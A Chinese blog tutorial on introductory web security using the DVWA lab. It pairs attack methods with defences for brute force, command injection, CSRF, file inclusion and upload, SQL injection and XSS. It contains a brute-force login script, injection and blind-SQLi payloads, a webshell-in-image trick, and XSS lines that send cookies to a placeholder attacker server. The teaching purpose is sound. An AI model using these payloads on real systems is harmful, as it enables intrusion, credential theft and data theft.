Web安全入门学习
前言
最近在公司做Linux下的PHP开发,所以乘此机会学习了下Web安全,了解了常见的Web安全漏洞,以及对应的防御方法(使用DVWA进行学习)。
暴力破解
场景
在类似用户登陆界面,如果系统没有限制用户的尝试次数,且没有验证码的情况下,就存在该漏洞
利用方法
import requests
URL = r'http://192.168.56.101/DVWA/vulnerabilities/brute/';#破解地址
cookies = dict(security='medium', PHPSESSID='4sijad6qd225aai8ha02tr82e3')#cookie设置
users = ("root","system","admin");#用户库
pwds = ("123123","123456","password","root");#密码库
arguments = {"username":"","password":"","Login":"Login"};#构造请求参数
for user in users:
for pwd in pwds:
arguments['username'] = user;
arguments['password'] = pwd;
r = requests.get(URL,arguments,cookies=cookies);
if r.text.find("Username and/or password incorrect.") == -1:#判断是否成功破解
print(user,pwd);
exit(0);
print("defeat");
防御方法
添加验证码,限制尝试次数。
命令注入
场景
web服务器接受用户提交的数据,作为系统命令或程序的参数,这种情况下就会容易造成命令注入。
利用方法
传入参数,构造另一个命令,比如web程序接受一个ip地址作为ping命令的参数,则我们可以传入'127.0.0.1 | dir',则dir会执行。
防御方法
使用白名单。严格限制用户的输入,比如你想要一个ip地址,则必须在服务端验证用户输入的是否是一个ip地址, 永远不要相信用户提交的数据
CSRF
场景
在一个转账网站下,存在两个用户,用户A构造一个恶意网站给用户B,用户B单击后,自己账号中的钱全部转给了用户A。
利用方法
<form action="转账的URL" method='XX'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='10000'>
<input type="submie">
</form>
防御方法
添加csrf_token、加用户表示确认的信息(验证码、密码)
文件包含
场景
程序员在编写PHP服务端代码时,为了代码复用,将公用代码写成另一个文件,然后include进需要使用的代码。如果用户能控制include 的参数,则会产生文件包含漏洞
利用方法
include 的参数可控,且PHP开启allow_url_include,则我们可以让被攻击的Web服务器执行webshell(注意:文件名以txt结尾,如果是服务端脚本文件的话,则脚本会在我们的服务器上执行,否则在被攻击服务器上执行),如果不能进行url包含,则我们可以结合文件上传漏洞执行webshell。
防御方法
关闭远程url包含,且include的参数设置用白名单。
文件上传
场景
网站有上传文件的功能,如果没做好相应的防范措施,则我们可以上传webshell
利用方法
如果没有限制上传文件的格式,则我们直接上传webshell。如果服务器检查了文件的格式,则我们可以抓包,然后修改数据包中,文件格式为合法格式。如果服务器对上传的文件进行了内容检查,则我们可以 copy test.img/b + test.txt/a test1.img 生成一个包含代码的图片上传,然后利用文件包含漏洞执行webshell
防御方法
对上传的文件进行相应的编码,不给与执行权限
SQL回显注入
场景
Web服务器将sql执行的结果返回给用户(包括sql执行的错误信息)。且没有对用户输入的数据进行相应的处理,直接构造动态sql。则多半会存在SQL回显注入。则用户可以构造恶意数据,获得数据库中的信息。
利用方法
由于服务器会显示SQL执行的结果(包括sql执行的错误信息),则我们可以利用order by 与 union select 猜解字段数,利用 select user(),database() 获得当先用户名与数据库名, 然后通过
select table_name from information_schema.tables where table_schema='database name'
获得表名
通过
select column_name from information_schema.columns where table_name='table name'
获得字段名
得到表名与字段名之后,我们就可以查询数据库中的信息了。
防御方法
严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。
SQL盲注
场景
用户向Web服务器提交查询,服务器只会返回‘真’或‘假’,且web服务器为对用户输入的数据没有进行检查,动态构造sql语句,则多半会存在SQL盲注。则用户可以构造恶意数据,获得数据库中的信息。
利用方法
由于服务器只会返回真或假,则我们可以利用 length,substr,ascii,sleep 函数获得用户名,数据库名,表名,字段名,表中对应的数据。
如服务器如下代码构造sql语句
$id = $_GET('id');
$sql = 'select * from test where id = '$id'';
则我们可以这样提交id: 1' and 这里为你想执行的sql -- '
获得数据库名字的方法输入
1' and ascii(substr(database(),1,1)) = 65 -- '
这里我们猜数据库名的第一个字符为65.如果服务器中确实存在id为1的数据,则如果我们猜测数据库的第一个字符为65则返回真,否则返回假。一直猜下去就会得到数据库名。
防御方法
严格限制用户的输入,在服务端进行检查,比如我们想获得一个类型为数字的id,则我们最好在服务端进行判断是否为数字,防止用户提交恶意的数据。
XSS
分类
XSS分存储型XSS,反射型XSS,DOM型XSS。存储型XSS,反射型XSS的区别是前一个恶意代码在数据库中,后一个在url中,相同点是输出都在HTTP响应中。反射型XSS,DOM型XSS的区别是一个输出在HTTP响应中,一个在DOM结点中, 相同点是:恶意代码都在URL中。
场景
一个网站中,存在用户A与用户B,用户B构造XSS攻击,发送网址给用户A,用户A单击后,用户B就能以用户A的身份登陆网站。
利用方法
<script>恶意代码</script>,或<img src=x onerror="恶意代码">
获取cookie的方法为,黑客架设一个web服务器接受cookie,恶意代码为:
window.open('黑客服务器?cookie='+document.cookie);
//或
document.location='黑客服务器?cookie='+document.cookie;
防御方法
对特殊字符进行编码(htmlspecialchars函数)
总结
永远不要相信用户的输入,一定要进行合法性验证。且使用白名单而不是黑名单。
Web安全入门学习的更多相关文章
- Web开发入门学习笔记
公司web项目终于要启动了,本以为django学习可以在实战中进行,结果最终使用了Drupal框架,好吧,那我们就PHP走起,买了本<细说PHP>,先跟着过一遍Web开发入门. HTTP协 ...
- web前端零基础入门学习!前端真不难!
现在互联网发展迅速,前端也成了很重要的岗位之一,许多人都往前端靠拢,可又无能为力,不知所措,首先我们说为什么在编程里,大家都倾向于往前端靠呢?原因很简单,那就是,在程序员的世界里,前端开发是最最简单的 ...
- abp学习(四)——根据入门教程(aspnetMVC Web API进一步学习)
Introduction With AspNet MVC Web API EntityFramework and AngularJS 地址:https://aspnetboilerplate.com/ ...
- PyQt4入门学习笔记(一)
PyQt4入门学习笔记(一) 一直没有找到什么好的pyqt4的教程,偶然在google上搜到一篇不错的入门文档,翻译过来,留以后再复习. 原始链接如下: http://zetcode.com/gui/ ...
- Aho-Corasick算法、多模正则匹配、Snort入门学习
希望解决的问题 . 在一些高流量.高IO的WAF中,是如何对规则库(POST.GET)中的字符串进行多正则匹配的,是单条轮询执行,还是多模式并发执行 . Snort是怎么组织.匹配高达上千条的正则规则 ...
- ReactJS入门学习二
ReactJS入门学习二 阅读目录 React的背景和基本原理 理解React.render() 什么是JSX? 为什么要使用JSX? JSX的语法 如何在JSX中如何使用事件 如何在JSX中如何使用 ...
- 【python】 web开发入门
进入Web开发 现在你完成了Python忍者训练,准备深入Ptyhon的Web开发,但现在的问题是有很多的框架,从中选择最好的框架非常困难,但从初学者的角度出发,Flask基本Web框架将非常适合We ...
- 《Web编程入门经典》
在我还不知道网页的基础结构的时候,我找过很多本介绍Web基础的书籍,其中这本<Web编程入门经典>,我认为是最好的. 这本书内容很全面.逻辑很严谨.结构很清晰.语言文字浅显易懂. 看这本书 ...
- web前端的学习误区
web前端的学习误区 网页制作是计算机专业同学在大学期间都会接触到的一门课程,而学习网页制作所用的第一个集成开发环境(IDE)想必大多是Dreamweaver,这种所见即所得的“吊炸天”IDE为我们 ...
随机推荐
- MEF 插件式开发之 小试牛刀
MEF 简介 Managed Extensibility Framework 即 MEF 是用于创建轻量.可扩展应用程序的库. 它让应用程序开发人员得以发现和使用扩展且无需配置. 它还让扩展开发人员得 ...
- cf666E. Forensic Examination(广义后缀自动机 线段树合并)
题意 题目链接 Sol 神仙题Orz 后缀自动机 + 线段树合并 首先对所有的\(t_i\)建个广义后缀自动机,这样可以得到所有子串信息. 考虑把询问离线,然后把\(S\)拿到自动机上跑,同时维护一下 ...
- MVC与单元测试实践之健身网站(八)-统计分析
统计分析模块与之前的内容相对独立,用于记录并跟踪各部位围度的变化.还需提供对所作计划的分析,辅助使计划更合理. 一 围度记录 这儿可以记录各项身体围度指标,现在包括体重在内身体上上下下基本全部提供了 ...
- OkHttp封装之后使用
代码都封装好了,上层Activity如何调用呢? 1.依赖 如果是android studio开发支持在线依赖(我已经把项目添加到jcenter上): compile 'com.ansen.http: ...
- Java强引用、软引用、弱引用及虚引用深入探讨
强引用.软引用.弱引用和虚引用深入探讨 为了更灵活的控制对象的生命周期,在JDK1.2之后,引用被划分为强引用.软引用.弱引用.虚引用四种类型,每种类型有不同的生命周期,它们不同的地方就在于垃圾回收器 ...
- Ubuntu切换root身份,命令行以中文显示
很多VPS商给的默认用户名并不是root,用以下命令处理即可: 1.修改root密码 sudo passwd root 输入密码,回车,再确认一次即可 2.更改密码后切换root身份 su root ...
- (后端)Java新人入职——配置环境及安装开发工具(完全)
转自csdn:执笔记忆的空白 很多新人对于进入新公司,相关工具的安装和环境变量的设定很苦恼.又苦于没有完整的配置开发环境的资料,我这里写一篇操作步骤的案例, 至少让你能把开发工具安装起来,并实用起来, ...
- JavaScript大杂烩6 - 理解JavaScript中的this
在JavaScript开发中,this是很常用的一个关键字,但同时也是一个很容易引入bug的一个关键字,在这里我们就专门总结一下页面中可能出现的this关键字(包括几种在其他页面文件中出现的this) ...
- scrapy系列(二)——startproject、genspider创建项目与模板使用
阅读本文之前需要安装scrapy,如果你还没有安装该框架,那么可以看之前一篇文章scrapy1.2windows安装. 现在默认大家都已经成功的安装了scrapy可以开始大展身手了.本文主要讲的是新建 ...
- Git 学习一
刚刚接触git,学习现骨干操作并记录一下过程中的小问题(Windows下) 1.新建git目录 创建一个目录,使用命令 git init 2.添加文件 git add a.txt 3.提交文件 g ...